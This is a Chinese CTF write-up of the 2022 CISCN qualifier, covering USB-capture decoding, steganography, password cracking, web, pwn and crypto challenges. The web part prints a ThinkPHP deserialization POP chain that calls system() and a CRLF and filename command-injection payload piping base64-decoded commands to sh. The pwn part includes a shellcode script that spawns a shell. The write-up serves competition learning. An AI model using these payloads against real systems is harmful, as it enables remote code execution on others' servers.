2022 CISCN 创新能力实践赛初赛WP
Posted OceanSec
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了2022 CISCN 创新能力实践赛初赛WP相关的知识,希望对你有一定的参考价值。
WP来自齐鲁师范学院网络安全社团
文章目录
MISC
ez_usb
文件-导出特定分组
tshark -r 2.8.1.pcapng -T fields -e usb.capdat > 2.8.1.txt
import os,sys
normalKeys =
"04":"a", "05":"b", "06":"c", "07":"d", "08":"e",
"09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j",
"0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o",
"13":"p", "14":"q", "15":"r", "16":"s", "17":"t",
"18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y",
"1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4",
"22":"5", "23":"6","24":"7","25":"8","26":"9",
"27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\\t",
"2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\",
"32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".",
"38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>",
"3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>",
"44":"<F11>","45":"<F12>"
shiftKeys =
"04":"A", "05":"B", "06":"C", "07":"D", "08":"E",
"09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J",
"0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O",
"13":"P", "14":"Q", "15":"R", "16":"S", "17":"T",
"18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y",
"1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$",
"22":"%", "23":"^","24":"&","25":"*","26":"(","27":")",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\\t","2c":"<SPACE>",
"2d":"_","2e":"+","2f":"","30":"","31":"|","32":"<NON>","33":""",
"34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>",
"3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>",
"41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"
#pcapFilePath = sys.argv[1]
#os.system("tshark -r "+pcapFilePath+" -T fields -e usb.capdata | sed '/^\\s*$/d' > out.txt")
output = []
keys = open('./2.8.1.txt')
for line in keys:
line = ''.join(line[i:i+2]+':' for i in range(0,len(line)-1,2)).strip(':')
try:
if line[0]!='0' or (line[1]!='0' and line[1]!='2') or line[3]!='0' or line[4]!='0' or line[9]!='0' or line[10]!='0' or line[12]!='0' or line[13]!='0' or line[15]!='0' or line[16]!='0' or line[18]!='0' or line[19]!='0' or line[21]!='0' or line[22]!='0' or line[6:8]=="00":
continue
if line[6:8] in normalKeys.keys():
output += [[normalKeys[line[6:8]]],[shiftKeys[line[6:8]]]][line[1]=='2']
else:
output += ['[unknown]']
except:
pass
keys.close()
flag=0
#print("".join(output))
for i in range(len(output)):
try:
a=output.index('<DEL>')
del output[a]
del output[a-1]
except:
pass
for i in range(len(output)):
try:
if output[i]=="<CAP>":
flag+=1
output.pop(i)
if flag==2:
flag=0
if flag!=0:
output[i]=output[i].upper()
except:
pass
print ('output :' + "".join(output))
os.system("rm -rf 2.8.1.txt")
得到加密的压缩包,同样方式提取
得到压缩包密码
output :35c535765e50074a
解密得到flag
flag20de17cc-d2c1-4b61-bebd-41159ed7172d
everlasting_night
stegsolve 查看图片发现
得到一个密码,考虑 lsb 隐写加密
python2 lsb.py extract everlasting_night.png out.txt f78dcd383f1b574b
得到 zip,发现被加密,想到 png 后面还有一串字符没用
经过各种尝试最后发现是 md5,somd5 解密就好了得到压缩包密码
ohhWh04m1
010 打开发现 png 但是不是正常的图片,gimp 打开看一下
flag607f41da-e849-4c0b-8867-1b3c74536cc4
babydisk
附件是 vmdk 文件,可以直接拿 Diskgenius 挂载,也可以使用 winhex 等等。这里我使用 DiskGenius 挂载
挂载后能看到有个 wav
右击-复制到桌面可以提取出来,010 查看没啥东西,wav 的隐写有 deepsound 和 silenteye 或者还有其他,先用deepsound 试一下,用 deepsound 打开如果能显示存在密码说明就是 deepsound 隐写的
现在的问题是需要一个密码,那就谷歌搜一下
里面的文章恰好完成了我们的需求
https://blog.csdn.net/weixin_45696568/article/details/118573215
#!/usr/bin/env python3
'''
deepsound2john extracts password hashes from audio files containing encrypted
data steganographically embedded by DeepSound (http://jpinsoft.net/deepsound/).
This method is known to work with files created by DeepSound 2.0.
Input files should be in .wav format. Hashes can be recovered from audio files
even after conversion from other formats, e.g.,
ffmpeg -i input output.wav
Usage:
python3 deepsound2john.py carrier.wav > hashes.txt
john hashes.txt
This software is copyright (c) 2018 Ryan Govostes <rgovostes@gmail.com>, and
it is hereby released to the general public under the following terms:
Redistribution and use in source and binary forms, with or without
modification, are permitted.
'''
import logging
import os
import sys
import textwrap
def decode_data_low(buf):
return buf[::2]
def decode_data_normal(buf):
out = bytearray()
for i in range(0, len(buf), 4):
out.append((buf[i] & 15) << 4 | (buf[i + 2] & 15))
return out
def decode_data_high(buf):
out = bytearray()
for i in range(0, len(buf), 8):
out.append((buf[i] & 3) << 6 | (buf[i + 2] & 3) << 4 \\
| (buf[i + 4] & 3) << 2 | (buf[i + 6] & 3))
return out
def is_magic(buf):
# This is a more efficient way of testing for the `DSCF` magic header without
# decoding the whole buffer
return (buf[0] & 15) == (68 >> 4) and (buf[2] & 15) == (68 & 15) \\
and (buf[4] & 15) == (83 >> 4) and (buf[6] & 15) == (83 & 15) \\
and (buf[8] & 15) == (67 >> 4) and (buf[10] & 15) == (67 & 15) \\
and (buf[12] & 15) == (70 >> 4) and (buf[14] & 15) == (70 & 15)
def is_wave(buf):
return buf[0:4] == b'RIFF' and buf[8:12] == b'WAVE'
def process_deepsound_file(f):
bname = os.path.basename(f.name)
logger = logging.getLogger(bname)
# Check if it's a .wav file
buf = f.read(12)
if not is_wave(buf):
global convert_warn
logger.error('file not in .wav format')
convert_warn = True
return
f.seek(0, os.SEEK_SET)
# Scan for the marker...
hdrsz = 104
hdr = None
while True:
off = f.tell()
buf = f.read(hdrsz)
if len(buf) < hdrsz: break
if is_magic(buf):
hdr = decode_data_normal(buf)
logger.info('found DeepSound header at offset %i', off)
break
f.seek(-hdrsz + 1, os.SEEK_CUR)
if hdr is None:
logger.warn('does not appear to be a DeepSound file')
return
# Check some header fields
mode = hdr[4]
encrypted = hdr[5]
modes = 2: 'low', 4: 'normal', 8: 'high'
if mode in modes:
logger.info('data is encoded in %s-quality mode', modes[mode])
else:
logger.error('unexpected data encoding mode %i', modes[mode])
return
if encrypted == 0:
logger.warn('file is not encrypted')
return
elif encrypted != 1:
logger.error('unexpected encryption flag %i', encrypted)
return
sha1 = hdr[6:6+20]
print('%s:$dynamic_1529$%s' % (bname, sha1.hex()))
if __name__ == '__main__':
import argparse
parser = argparse.ArgumentParser()
parser.add_argument('--verbose', '-v', action='store_true')
parser.add_argument('files', nargs='+', metavar='file',
type=argparse.FileType('rb', bufsize=4096))
args = parser.parse_args()
if args.verbose:
logging.basicConfig(level=logging.INFO)
else:
logging.basicConfig(level=logging.WARN)
convert_warn = False
for f in args.files:
process_deepsound_file(f)
if convert_warn:
print(textwrap.dedent('''
---------------------------------------------------------------
Some files were not in .wav format. Try converting them to .wav
and try again. You can use: ffmpeg -i input output.wav
---------------------------------------------------------------
'''.rstrip()), file=sys.stderr)
先使用脚本获取一 hash 再用 john 爆破就好了
得到密码是 feedback
得到 key.txt
这个时候拿到 key 肯定是要解密什么东西,思考一下现在可以利用的东西,音频已经解完了,可能是 vmdk 还有什么东西没有发现,然后使用 FTK 挂载一下
在回收站发现了两个文件,导出看一下,结合刚刚拿到的密码想到可以用 veracrypt 或者是 Truecrypt (具体名字忘了),经过尝试可以用 vera 挂载,$RDWTTK4 这个文件可以成功挂载
spiral 是一个 zip,然后发现里面的数据很乱
下面是复现部分。
搜索一下spiral
https://blog.csdn.net/GW_wg/article/details/120406192
def function(n):
matrix = [[0] * n for _ in range(n)]
number = 1
left, right, up, down = 0, n - 1, 0, n - 1
while left < right and up < down:
# 从左到右
for i in range(left, right):
matrix[up][i] = number
number += 1
# 从上到下
for i in range(up, down):
matrix[i][right] = number
number += 1
# 从右向左
for i in range(right, left, -1):
matrix[down][i] = number
number += 1
for i in range(down, up, -1):
matrix[i][left] = number
number += 1
left += 1
right -= 1
up += 1
down -= 1
# n 为奇数的时候,正方形中间会有个单独的空格需要单独填充
if n % 2 != 0:
matrix[n // 2][n // 2] = number
return matrix
WEB
Ezpop
扫目录发现 www.zip,下载源码进行审计,结合题目提示发现是 tp 的旧有漏洞,去找网上的利用链
poc
<?php
namespace think\\model\\concern;
trait Attribute
private $data = ["key" => ["key1" => "cat /f*"]];
private $withAttr = ["key"=>["key1"=>"system"]];
protected $json = ["key"];
trait ModelEvent
protected $withEvent;
namespace think;
abstract class Model
use model\\concern\\Attribute;
use model\\concern\\ModelEvent;
private $exists;
private $force;
private $lazySave;
protected $suffix;
function __construct($a = '')
$this->exists = true;
$this->force = true;
$this->lazySave = true;
$this->withEvent = false;
$this->suffix = $a;
namespace think\\model;
use think\\Model;
class Pivot extends Model
echo urlencode(serialize(new Pivot(new Pivot())));
?>
生成 poc
a=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A7%3A%7Bs%3A21%3A%22%00think%5CModel%00lazySave%22%3Bb%3A1%3Bs%3A17%3A%22%00think%5CModel%00data%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A24%3A%22cat+..%2F..%2F..%2F..%2Fflag.txt%22%3B%7D%7Ds%3A19%3A%22%00think%5CModel%00exists%22%3Bb%3A1%3Bs%3A8%3A%22%00%2A%00table%22%3Bs%3A0%3A%22%22%3Bs%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7Ds%3A21%3A%22%00think%5CModel%00withAttr%22%3Ba%3A1%3A%7Bs%3A6%3A%22whoami%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A7%3A%22%00%2A%00json%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3Bi%3A1%3Ba%3A1%3A%7Bi%3A0%3Bs%3A6%3A%22whoami%22%3B%7D%7Ds%3A12%3A%22%00%2A%00jsonAssoc%22%3Bb%3A1%3B%7D
访问路由 index.php/index/test
online_crt
下载代码进行审计
app.py
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
生成 crt 证书
@app.route('/createlink', methods=['GET'])
def info():
json_data = "info": os.popen("c_rehash static/crt/ && ls static/crt/").read()
return json.dumps(json_data)
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET uri HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
可以访问内网 8887 端口的 go 服务
func admin(c *gin.Context)
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..")
c.String(500, "error")
return
if c.Request.URL.RawPath != "" && c.Request.Host == "admin"
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil
return
c.String(200, newname)
return
c.String(200, "no")
可以看到 admin 函数替换名字,也就是说文件名称是可以控制的
也就是说题目重点也是我们可以操作的点就是:app.py 的 info 函数
ls 进行列目录
c_rehash 扫描指定目录列表中的.pem,.crt,.cer及.crl文件并为这些文件计算hash值,并以计算出的hash值为名字为这些文件创建符号连接。(如果你的操作平台不支持符号连接,则执行的是一个拷贝。)这个功能像很多程序一样有用,对于使用OpenSSL要求建立的目录,其目的是找到证书。
访问内网 go 服务需要使用 get 请求加上 post 下的参数,使用 clrf 发完整的 http 包
最终 payload
uri=/admin/renam%25%36%35?oldname=6feee645-87d2-411f-bc5d-13501b3eae98.crt%26newname="||echo%25%32%30Y2F0IC9mbGFn|base64%25%32%30-d|sh||".crt%20HTTP/1.1%0aHost: admin%0aAa:%0a%0a
首先访问 getcrt 生成 crt 文件,发包去替换 crt 文件名
然后 createlink 去执行命令看到 flag
PWN
login-nomal
通过菜单功能 1 获得 root 权限,通过功能 2mmap 一段可读可写可执行权限的地址,并且发现里面有对于输入内容是否为可视字符的 check,使用 alpha3 生成 shellcode 以后 getshell
from pwn import *
p = process('./pwn')
payload1 = "msg:ro0tt\\nopt:1\\n"
p.sendline(payload1)
sc = "Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070tt"
payload2 = "msg:"+sc+"\\nopt:2\\n"
p.sendline(payload2)
p.interactive()
CRY
基于挑战码的双向认证1
非预期
用户名密码均为player
cd /root/cube-shell/instance/flag_server
直接 catflag 即可
基于挑战码的双向认证2
非预期
cat flag2.txt
基于挑战码的双向认证2
非预期
弱密码
su root、toor 密码
签到电台
根据公众号给出的提示,得到了“弼时安全到达了”所对应的7个电码:
1732 2514 1344 0356 0451 6671 0055
知道是要从密码表截取前28位,每位相加然后模除以10,加不进位,减不借位
脚本:
key = '6561607990115808526135662113'
nums = '1732251413440356045166710055'
for i in range(0,28):
print((int(key[i])+int(nums[i])) % 10,end="")
#7293858303555154561291372168
用url传参把结果传进去,就能拿到flag
ISO9798
申请容器,用自己的服务器 nc 容器
根据提示爆破四位的字符串
脚本:
from hashlib import sha256
s = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXY0123456789'
for i in s:
for j in s:
for k in s:
for l in s:
string = i+j+k+l+'xBSIsJVew5i1em0k'
b = sha256(string.encode('utf-8')).hexdigest()
if (b == 'fd5cfd228da08b9b788e3c2290268eca55f98581c3c54e2c577dcb051de50071'):
print(string)
输入个数字作为RB的值
根据题目提示参考ISO9798-2标准,对RA和RB做分割提取和拼接
https://www.doc88.com/p-1496121116297.html
s = '0dc7b82d345c2cdfee36dc1c7d5a397a78e6af74fa2bd810be55dd3cefb1afe96f5a0acdd3a17922baaf31ea767d99e2'
ra = s[0:32]
rb = s[32:64]
print(rb+ra)
输入计算的值,得到flag
以上是关于2022 CISCN 创新能力实践赛初赛WP的主要内容,如果未能解决你的问题,请参考以下文章
第15届全国大学生知识竞赛场景实操 2022ciscn初赛 部分writeup